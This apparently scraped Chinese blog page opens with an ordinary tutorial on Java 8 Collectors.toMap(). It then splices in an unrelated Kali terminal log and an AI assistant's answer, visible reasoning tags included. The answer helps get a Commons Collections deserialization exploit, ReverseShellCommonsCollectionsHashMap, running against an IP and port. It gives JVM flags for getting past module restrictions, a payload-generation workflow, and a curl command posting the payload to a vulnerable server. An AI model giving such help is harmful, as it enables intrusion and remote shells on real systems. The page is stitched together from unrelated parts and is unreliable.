Java8 - Collections.toMap()方法

本文详细介绍了如何在Java中使用Collections的toMap()方法,通过People类实例展示如何根据name属性生成key,address属性生成value,以及分别收集单独属性和对象本身的映射过程。

Collections.toMap()方法使用
1)实体类:

@ToString
@Data
@AllArgsConstructor
public class People {

    private Integer id;
    private String name;
    private String address;
    private Integer age;
}

2)测试类

 public static void main(String[] args) {
        People people1 = new People(1, "only-qi1", "bbb", 11);
        People people2 = new People(2, "only-qi2", "ccc", 12);
        People people3 = new People(3, "only-qi3", "dddd", 13);
        People people4 = new People(1, "only-qi4", "fff", 14);
        People people5 = new People(2, "only-qi5", "eee", 15);
        People people6 = new People(1, "only-qi6", "ttttt", 11);
        ArrayList<People> arrayList = new ArrayList<>();
        arrayList.add(people1);
        arrayList.add(people2);
        arrayList.add(people3);
        arrayList.add(people4);
        arrayList.add(people5);
        arrayList.add(people6);

        System.out.println("-----------------toMap()方法: 收集一下集合中每个对象的两个单独的属性---------------");
        Map<String, String> collect = arrayList.stream().collect(Collectors.toMap(People::getName, People::getAddress));
        for (String s : collect.keySet()) {
            System.out.println("key值是:" + s + "=========" + "value的值是" + collect.get(s));
        }

        arrayList.stream().collect(Collectors.toMap(People::getName, p -> p));

        System.out.println("-------------------toMap()方法:收集一下属性和对象本身----------------------");
        Map<String, People> collect1 = arrayList.stream().collect(Collectors.toMap(People::getName, p -> p));
        for (String s : collect1.keySet()) {
            System.out.println("key值是:" + s + "=========" + "value的值是" + collect1.get(s));
        }
    }

注:
使用toMap()函数之后,返回的就是一个Map了,自然会需要key和value。
toMap()的第一个参数就是用来生成key值的,第二个参数就是用来生成value值的

┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field transient java.util.HashMap java.util.HashSet.map accessible: module java.base does not "opens java.util" to unnamed module @76ed5528 at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:391) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:367) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:315) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:183) at java.base/java.lang.reflect.Field.setAccessible(Field.java:177) at ReverseShellCommonsCollectionsHashMap.main(ReverseShellCommonsCollectionsHashMap.java:105)
最新发布
07-09
<think>我们正在处理一个Java反序列化攻击的演示程序。用户已经成功编译了`ReverseShellCommonsCollectionsHashMap.java`,但在运行时遇到了两个问题: 1. 使用`java`命令运行程序时,错误地传递了`-encoding`参数(这是`javac`的选项,不是`java`的选项)。 2. 运行时抛出了`InaccessibleObjectException`异常,这通常是由于Java的高版本(Java 9及以上)引入了模块系统,对反射访问进行了限制。 ### 解决方案步骤 #### 1. 修正运行命令 `-encoding`是`javac`的编译选项,在运行Java程序时不需要。正确的运行命令应去掉`-encoding`参数,并确保类路径正确。 **错误命令示例**: ```bash java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ``` **正确命令**: ```bash java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <目标IP> <监听端口> ``` #### 2. 解决反射访问异常(InaccessibleObjectException) 在Java 9及以上版本中,默认情况下不允许通过反射访问非公共的成员。为了绕过这个限制,需要在运行程序时添加JVM参数来开放相应的包。 **异常示例**: ``` WARNING: An illegal reflective access operation has occurred ... java.lang.reflect.InaccessibleObjectException: Unable to make member accessible ... ``` **解决方案**: 在运行命令中添加以下JVM参数: ```bash java --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap <目标IP> <监听端口> ``` 这些参数的作用是开放`java.util`、`java.lang`和`java.io`包给未命名模块(即我们的程序)进行反射访问。 ### 完整示例命令 假设目标IP为`192.168.1.100`,监听端口为`4444`,则完整命令为: ```bash java --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap 192.168.1.100 4444 ``` ### 验证生成结果 运行上述命令后,应生成一个名为`ReverseShellCommonsCollectionsHashMap.ser`的序列化文件。使用以下命令检查: ```bash ls -l ReverseShellCommonsCollectionsHashMap.ser ``` ### 注意事项 1. **Java版本兼容性**:如果使用Java 8或更低版本,则不需要添加`--add-opens`参数。但考虑到安全研究环境通常使用较新版本,建议使用Java 11 LTS版本并添加上述参数。 2. **依赖库版本**:确保`commons-collections-3.2.1.jar`在类路径中且版本正确。 ### 相关问题 1. 如何查看当前Java版本? 2.Java高版本中,如何永久解决反射访问限制问题? 3. 反序列化漏洞利用中,为什么需要Commons Collections库? 4. 生成.ser文件后,如何验证其有效性? 5. 除了Commons Collections,还有哪些Java库存在反序列化漏洞?</think>### 问题分析与解决方案 您遇到了两个关键错误:`Unrecognized option: -encoding` 和 `InaccessibleObjectException`。这些是 Java 运行时环境(JRE)问题,而非编译问题。以下是完整修复方案: --- #### 1. 解决 `Unrecognized option: -encoding` 错误 **原因**:`-encoding` 是 `javac` 的编译选项,不能用于 `java` 运行时命令 **修复**:从运行命令中移除 `-encoding` 参数 ✅ **正确运行命令**: ```bash java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <IP> <端口> ``` --- #### 2. 解决 `InaccessibleObjectException` 错误(Java 9+ 模块系统限制) **原因**:Java 9+ 默认禁止反射访问非公共成员[^1] **修复**:添加 JVM 参数开放反射权限 ✅ **完整运行命令**: ```bash java \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap 192.168.1.100 4444 ``` **关键参数说明**: - `--add-opens`:开放指定模块的反射访问权限 - `java.base/java.util=ALL-UNNAMED`:允许所有未命名模块访问 `java.util` 包 - 其他开放包:`java.lang`, `java.io` 等 Commons Collections 依赖的核心包 --- #### 3. Java 版本兼容性方案 | Java 版本 | 解决方案 | |-----------|----------| | **≤ Java 8** | 无需特殊参数 | | **≥ Java 9** | 必须添加 `--add-opens` 参数 | | **≥ Java 16** | 额外添加 `--add-opens java.base/sun.security.util=ALL-UNNAMED` | --- #### 4. 完整操作流程 ```bash # 1. 编译(使用javac的encoding参数) javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java # 2. 运行生成payload(添加反射权限参数) java \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ -cp .:commons-collections-3.2.1.jar \ ReverseShellCommonsCollectionsHashMap 192.168.1.100 4444 # 3. 验证生成结果 file ReverseShellCommonsCollectionsHashMap.ser # 应显示: Java serialization data # 4. 发送payload(示例) curl http://vuln-server:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser ``` --- ### 相关问题 1. 如何检查当前 Java 版本及其模块系统配置? 2. 除了 `--add-opens`,还有哪些 JVM 参数可以绕过模块系统限制? 3. Java 17+ 中 `InaccessibleObjectException` 的新解决方案是什么? 4. 如何验证生成的 `.ser` 文件是否包含有效载荷? 5. Commons Collections 3.2.1 与 Java 11+ 的兼容性问题有哪些? [^1]: Java 模块系统对反射访问的限制机制 [^2]: `--add-opens` 参数的官方文档说明 [^4]: Java 9+ 兼容性问题的通用解决方案
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值